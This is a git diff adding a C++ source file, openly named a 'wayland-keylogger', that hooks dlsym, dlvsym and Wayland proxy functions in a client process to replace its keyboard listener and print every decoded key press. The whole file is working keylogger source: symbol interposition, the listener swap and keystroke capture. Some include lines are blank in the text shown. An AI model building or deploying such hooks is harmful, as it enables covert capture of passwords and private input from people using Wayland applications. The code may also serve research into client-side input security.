diff --git a/src/wayland.cpp b/src/wayland.cpp new file mode 100644 index 00000000..f58b9f82 --- /dev/null +++ b/src/wayland.cpp @@ -0,0 +1,222 @@ +#include "elfhacks.h" + +#include +#include +#include +#include +#include + +int my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data); +struct wl_proxy* my_wl_proxy_marshal_array_flags(struct wl_proxy *proxy, uint32_t opcode, + const struct wl_interface *interface, + uint32_t version, + uint32_t flags, + union wl_argument *args); + +void *(*g_real_dlsym)(void*, const char*) = NULL; +void *(*g_real_dlvsym)(void*, const char*, const char*) = NULL; +struct wl_proxy* (*g_real_wl_proxy_marshal_array_flags)(struct wl_proxy *proxy, uint32_t opcode, + const struct wl_interface *interface, + uint32_t version, + uint32_t flags, + union wl_argument *args); + +int (*g_real_wl_proxy_add_listener)(struct wl_proxy*, void (**)(void), void*); + +int g_hooks_initialized = 0; +int g_listener_initialized = 0; +int g_xkb_initialized = 0; + +void init_hooks() { + + if(g_hooks_initialized) + return; + + // part 1: get dlsym and dlvsym + eh_obj_t libdl; + if(eh_find_obj(&libdl, "*libc.so*")) { + fprintf(stderr, "[wayland-keylogger] Can't open libdl.so!\n"); + exit(-181818181); + } + if(eh_find_sym(&libdl, "dlsym", (void **) &g_real_dlsym)) { + fprintf(stderr, "[wayland-keylogger] Can't get dlsym address!\n"); + eh_destroy_obj(&libdl); + exit(-181818181); + } + if(eh_find_sym(&libdl, "dlvsym", (void **) &g_real_dlvsym)) { + fprintf(stderr, "[wayland-keylogger] Can't get dlvsym address!\n"); + eh_destroy_obj(&libdl); + exit(-181818181); + } + eh_destroy_obj(&libdl); + + // part 2: get everything else + g_real_wl_proxy_add_listener = (int (*)(struct wl_proxy*, void (**)(void), void*)) + g_real_dlsym(RTLD_NEXT, "wl_proxy_add_listener"); + g_real_wl_proxy_marshal_array_flags = (struct wl_proxy* (*)(struct wl_proxy *proxy, uint32_t opcode, + const struct wl_interface *interface, + uint32_t version, + uint32_t flags, + union wl_argument *args)) + g_real_dlsym(RTLD_NEXT, "wl_proxy_marshal_array_flags"); + + + fprintf(stderr, "[wayland-keylogger] init_hooks end.\n"); + + g_hooks_initialized = 1; + +} + +struct Hook { + const char* name; + void* address; +}; + +Hook hook_table[] = { + {"wl_proxy_add_listener", (void*) &my_wl_proxy_add_listener}, + {"wl_proxy_marshal_array_flags", (void*) &my_wl_proxy_marshal_array_flags}, +}; + +struct KeyLoggerData { + void (**implementation)(void); + void *data; +}; + +void MyHandleKeyboardKeymap(void* data, wl_keyboard* keyboard, uint32_t format, int fd, uint32_t size) { + KeyLoggerData *d = (KeyLoggerData*) data; + ((wl_keyboard_listener*) d->implementation)->keymap(d->data, keyboard, format, fd, size); +} +void MyHandleKeyboardEnter(void* data, wl_keyboard* keyboard, uint32_t serial, wl_surface* surface, wl_array* keys) { + KeyLoggerData *d = (KeyLoggerData*) data; + ((wl_keyboard_listener*) d->implementation)->enter(d->data, keyboard, serial, surface, keys); +} +void MyHandleKeyboardLeave(void* data, wl_keyboard* keyboard, uint32_t serial, wl_surface* surface) { + KeyLoggerData *d = (KeyLoggerData*) data; + ((wl_keyboard_listener*) d->implementation)->leave(d->data, keyboard, serial, surface); +} + +struct xkb_context *context = xkb_context_new(XKB_CONTEXT_NO_FLAGS); +struct xkb_keymap *keymap; +struct xkb_state *_xkb_state; +struct xkb_rule_names names = {}; + +void init_xkb(){ + context = xkb_context_new(XKB_CONTEXT_NO_FLAGS); + if (context){ + keymap = xkb_keymap_new_from_names(context, &names, + XKB_KEYMAP_COMPILE_NO_FLAGS); + _xkb_state = xkb_state_new(keymap); + } else { + g_xkb_initialized = -1; + return; + } + + keymap ? g_xkb_initialized = 1 : g_xkb_initialized = -1; + if (!g_hooks_initialized) + fprintf(stderr, "Failed to init xkb\n"); +} + +void MyHandleKeyboardKey(void* data, wl_keyboard* keyboard, uint32_t serial, uint32_t time, uint32_t key, uint32_t state) { + if (!g_xkb_initialized) + init_xkb(); + + if (keymap){ + xkb_keysym_t keysym = xkb_state_key_get_one_sym (_xkb_state, key+8); + if (keysym == XKB_KEY_F1) + printf("Pressed F1\n"); + + char buf[128]; + xkb_keysym_get_name(keysym, buf, 128); + printf("UTF-8 input: %s\n", buf); + } + + KeyLoggerData *d = (KeyLoggerData*) data; + ((wl_keyboard_listener*) d->implementation)->key(d->data, keyboard, serial, time, key, state); +} +void MyHandleKeyboardModifiers(void* data, wl_keyboard* keyboard, uint32_t serial, uint32_t mods_depressed, uint32_t mods_latched, uint32_t mods_locked, uint32_t group) { + KeyLoggerData *d = (KeyLoggerData*) data; + ((wl_keyboard_listener*) d->implementation)->modifiers(d->data, keyboard, serial, mods_depressed, mods_latched, mods_locked, group); +} +void MyHandleKeyboardRepeatInfo(void* data, wl_keyboard* keyboard, int32_t rate, int32_t delay) { + KeyLoggerData *d = (KeyLoggerData*) data; + ((wl_keyboard_listener*) d->implementation)->repeat_info(d->data, keyboard, rate, delay); +} + +wl_keyboard_listener my_keyboard_listener = { + MyHandleKeyboardKeymap, + MyHandleKeyboardEnter, + MyHandleKeyboardLeave, + MyHandleKeyboardKey, + MyHandleKeyboardModifiers, + MyHandleKeyboardRepeatInfo, +}; + +struct wl_proxy* g_keyboard_to_log = NULL; + +struct wl_proxy * +my_wl_proxy_marshal_array_flags(struct wl_proxy *proxy, uint32_t opcode, + const struct wl_interface *interface, + uint32_t version, + uint32_t flags, + union wl_argument *args) +{ + struct wl_proxy* id = proxy; + if(interface == &wl_keyboard_interface) { + fprintf(stderr, "[wayland-keylogger] Got keyboard id!\n"); + g_keyboard_to_log = id; + } + return g_real_wl_proxy_marshal_array_flags(proxy, opcode, interface, version, flags, args); +} + +int my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data) { + if(g_keyboard_to_log != NULL && !g_listener_initialized) { + fprintf(stderr, "[wayland-keylogger] Adding fake listener!\n"); + g_keyboard_to_log = factory; + KeyLoggerData *d = new KeyLoggerData(); // memory leak, I know :) + d->implementation = implementation; + d->data = data; + g_listener_initialized = 1; + return g_real_wl_proxy_add_listener(factory, (void (**)(void)) &my_keyboard_listener, d); + } else { + return g_real_wl_proxy_add_listener(factory, implementation, data); + } +} + +// override existing functions +extern "C" int wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data) { + init_hooks(); + return my_wl_proxy_add_listener(factory, implementation, data); +} + +extern "C" struct wl_proxy * +wl_proxy_marshal_array_flags(struct wl_proxy *proxy, uint32_t opcode, + const struct wl_interface *interface, + uint32_t version, + uint32_t flags, + union wl_argument *args) +{ + init_hooks(); + return my_wl_proxy_marshal_array_flags(proxy, opcode, interface, version, flags, args); +} + +extern "C" void* dlsym(void* handle, const char* symbol) { + init_hooks(); + for(unsigned int i = 0; i < sizeof(hook_table) / sizeof(Hook); ++i) { + if(strcmp(hook_table[i].name, symbol) == 0) { + fprintf(stderr, "[wayland-keylogger] Hooked: dlsym(%s).\n", symbol); + return hook_table[i].address; + } + } + return g_real_dlsym(handle, symbol); +} + +extern "C" void* dlvsym(void* handle, const char* symbol, const char* version) { + init_hooks(); + for(unsigned int i = 0; i < sizeof(hook_table) / sizeof(Hook); ++i) { + if(strcmp(hook_table[i].name, symbol) == 0) { + fprintf(stderr, "[wayland-keylogger] Hooked: dlvsym(%s,%s).\n", symbol, version); + return hook_table[i].address; + } + } + return g_real_dlvsym(handle, symbol, version); +}